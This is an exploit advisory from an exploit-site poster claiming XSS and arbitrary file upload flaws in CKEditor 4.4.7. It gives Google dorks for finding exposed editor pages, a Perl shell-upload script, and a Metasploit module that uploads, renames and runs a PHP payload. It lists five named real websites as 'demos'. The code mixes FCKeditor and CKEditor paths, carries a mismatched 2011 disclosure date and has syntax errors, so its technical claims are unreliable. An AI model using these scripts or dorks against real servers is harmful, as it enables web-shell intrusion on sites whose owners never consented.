########################################### #-----------------------------------------# #[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]# #-----------------------------------------# # *----------------------------* # # K |....##...##..####...####....| . # # h |....#...#........#..#...#...| A # # a |....#..#.........#..#....#..| N # # l |....###........##...#.....#.| S # # E |....#.#..........#..#....#..| e # # D |....#..#.........#..#...#...| u # # . |....##..##...####...####....| r # # *----------------------------* # #-----------------------------------------# #[ Copyright &#169; 2014 | Dz Offenders Cr3w ]# #-----------------------------------------# ########################################### # >> D_x . Made In Algeria . x_Z << # ###################################################################### # # [>] Title : Ckeditor v4.4.7.xx Multiple Vulnerabilities # # [>] Author : KedAns-Dz # [+] E-mail : ked-h (@hotmail.com) # [+] FaCeb0ok : fb.me/K3d.Dz # [+] TwiTter : @kedans # # [#] Platform : PHP / WebApp # [+] Cat/Tag : File Upload , XSRF-HTML Injection # # [<] <3 <3 Greetings t0 Palestine <3 <3 # [>] ^_^ Greetings to 1337day Users/FAN's <3 # [-] F-ck Hacking , LuV Exploiting # [!] Vendor : http://ckeditor.com/ # [D] Download : # - http://download.cksource.com/CKEditor/CKEditor/CKEditor%204.4.7/ckeditor_4.4.7_full.zip # ####################################################################### # # [!] Description : # # FCKeditor version 4.4.7 is suffer from XSS/HTML Injection and # Other multiple vulnerabilities like File Upload (more ex: see-> # [ http://1337day.com/search?search_request=ckeditor ] # remote attacker can use some CKE files to upload remote file or # Injecting XSS/HTML Codes. # # ##### # # [!] Google Dorks : # ------------------ # 1- allinurl:"/ckeditor/samples/plugins/htmlwriter" # 2- allinurl:"/ckeditor/samples/plugins/htmlwriter/outputhtml.html" # 3- allinurl:"/FCKeditor/_samples/php/sample01.php" # 4- allinurl:"/FCKeditor/editor/filemanager/browser/default/browser.html" # 5- allinurl:"/FCKeditor/editor/filemanager" # ##### # # [+] Exploit (1) ' XSS/XSRF/HTML Injection ' :=> # ----------------------------------------------- # # - the vuln in htmlwriter plugin : # # > http://[target]/[path]/ckeditor/samples/plugins/htmlwriter/outputhtml.html # # > Edit & Submit you'r Code just it ! # ##### # # [+] Exploit (2) ' File Upload ' :=> # ----------------------------------- # REF : http://1337day.com/search?search_request=ckeditor # # +> Use this PERL Script :=> # *********** # #!/usr/bin/perl # # use strict; # use LWP::UserAgent; # use HTTP::Request::Common; # # print <<INTRO; # - CKEditor 4.4.x Arbitrary File Upload Exploit # - Coded By KedAns-Dz # - Contact: ked-h@hotmail.com # - Greetings: 1337day , Dz Offenders , All my Homies # - Copyright (C) 03-2015 - Dz Offenders Cr3w # INTRO # print "Target host and Path: "; # chomp (my $tar=<STDIN>); # print "Directory / File / Shell: "; # chomp (my $shell=<STDIN>); # # my $a = LWP::UserAgent->new; # my $b = $a->request(POST $tar.'/fckeditor/editor/filemanager/browser/upload/php/upload.php'; # Content_Type => 'form-data', # Content => [ NewFile => $shell ] ); # # if ($b->is_success) { # if (index($b->content, "Disabled") != -1) { print "The webserver is manipulated with your shellcode.\n"; } # else { print "Exploit failed! :(\n"; # } else { print "Not connected with Target!\n"; } # ########## # ********* # Or wit' that MSF Exploit :=> # # # require 'msf/core' # # class Metasploit3 < Msf::Exploit::Remote # Rank = ExcellentRanking # # include Msf::Exploit::Remote::HttpClient # # def initialize(info = {}) # super(update_info(info, # 'Name' => 'FCKeditor 4.4.x File Upload Code Execution', # 'Description' => %q{ # This module exploits a vulnerability in the FCK/CKeditor plugin. # By renaming the uploaded file this vulnerability can be used to upload/execute # code on the affected system. # }, # 'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>' ], # 'License' => MSF_LICENSE, # 'Version' => '1.0', # 'References' => # [ # ['URL', 'http://1337day.com/search?search_request=ckeditor'], # ], # 'Privileged' => false, # 'Payload' => # { # 'DisableNops' => true, # 'Compat' => # { # 'ConnectionType' => 'find', # }, # 'Space' => 1024, # }, # 'Platform' => 'php', # 'Arch' => ARCH_PHP, # 'Targets' => [[ 'Automatic', { }]], # 'DisclosureDate' => '02/05/2011', # 'DefaultTarget' => 0)) # # register_options( # [ # OptString.new('URI', [true, "CKE Target directory path", "/"]), # ], self.class) # end # # def check # uri = '' # uri << datastore['URI'] # uri << '/' if uri[-1,1] != '/' # uri << 'fckeditor/editor/filemanager/connectors/php/upload.php?Type=File' # res = send_request_raw( # { # 'uri' => uri # }, 25) # # if (res and res.body =~ /sample16.swf/) # return Exploit::CheckCode::Vulnerable # end # # return Exploit::CheckCode::Safe # end # # # def retrieve_obfuscation() # # end # # # def exploit # # cmd_php = '<?php ' + payload.encoded + '?>' # # # Generate some random strings # cmdscript = rand_text_alpha_lower(20) # boundary = rand_text_alphanumeric(6) # # # Static files # directory = '/fckeditor/editor/images' # uri_base = '' # uri_base << datastore['URI'] # uri_base << '/' if uri_base[-1,1] != '/' # uri_base << 'fckeditor/editor/filemanager/connectors/php' # # # Get obfuscation code (needed to upload files) # obfuscation_code = nil # # res = send_request_raw({ # 'uri' => uri_base + '/upload.php?Type=File' # }, 25) # # if (res) # # if(res.body =~ /"obfus", "((\w)+)"\)/) # obfuscation_code = $1 # print_status("Successfully retrieved obfuscation code: #{obfuscation_code}") # else # print_error("Error retrieving obfuscation code!") # return # end # end # # # Upload shellcode (file ending .ph.p) # data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n" # data << "#{cmdscript}.ph.p\r\n--#{boundary}" # data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n" # data << "Content-Type: application/octet-stream\r\n\r\n" # data << cmd_php # data << "\r\n--#{boundary}--" # # res = send_request_raw({ # 'uri' => uri_base + "/connector.php?Command=FileUpload&Type=File&CurrentFolder=" + directory + "&obfuscate=#{obfuscation_code}", # 'method' => 'POST', # 'data' => data, # 'headers' => # { # 'Content-Length' => data.length, # 'Content-Type' => 'multipart/form-data; boundary=' + boundary, # } # }, 25) # # if (res and res.body =~ /File Upload Success/) # print_status("Successfully uploaded #{cmdscript}.ph.p") # else # print_error("Error uploading #{cmdscript}.ph.p") # end # # # Complete the upload process (rename file) # print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p") # res = send_request_raw({ # 'uri' => uri_base + '/connector.php?Command=FileUpload&Type=File&CurrentFolder=' + directory + '&filetotal=1' # }) # # # Rename the file from .ph.p to .php # res = send_request_cgi( # { # 'method' => 'POST', # 'uri' => uri_base + '/connector.php?Command=Edit&Type=File&CurrentFolder=', # 'vars_post' => # { # 'actionfile[0]' => "#{cmdscript}.ph.p", # 'renameext[0]' => 'p', # 'renamefile[0]' => "#{cmdscript}.ph", # 'sortby' => 'name', # 'sorttype' => 'asc', # 'showpage' => '0', # 'action' => 'rename', # 'commit' => '', # } # }, 10) # # if (res and res.body =~ /successfully renamed./) # print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php") # else # print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php") # end # # # # Finally call the payload # print_status("Calling payload: #{cmdscript}.php") # uri = '' # uri << datastore['URI'] # uri << '/' if uri[-1,1] != '/' # uri << directory + cmdscript + ".php" # res = send_request_raw({ # 'uri' => uri # }, 25) # # end # # end # # # ########### # # Demo's :=> # http://common.beyondindigopets.com/ckeditor/samples/plugins/htmlwriter/outputhtml.html # http://heather.cs.ucdavis.edu/ckeditor/samples/plugins/htmlwriter/outputhtml.html # http://dol-de-bretagne.fr/scripts/FCKeditor/_samples/php/sample01.php # http://tutor.talkbean.com/front/com/FCKeditor/editor/filemanager/browser/default/browser.html # http://www.aseat.fr/fckeditor/editor/filemanager/browser/default/browser.html # Mo in g00glE ;) ####################################################################### #### # <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !> # Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3 #--------------------------------------------------------------- # Greetings to my Homies : Meztol-Dz , Caddy-Dz , Kalashinkov3 , # Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic, # & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , & # & KnocKout , Angel Injection , The Black Divels , kaMtiEz , & # & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, & # & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day & # =( packetstormsecurity.org * metasploit.com * OWASP & OSVDB )= ####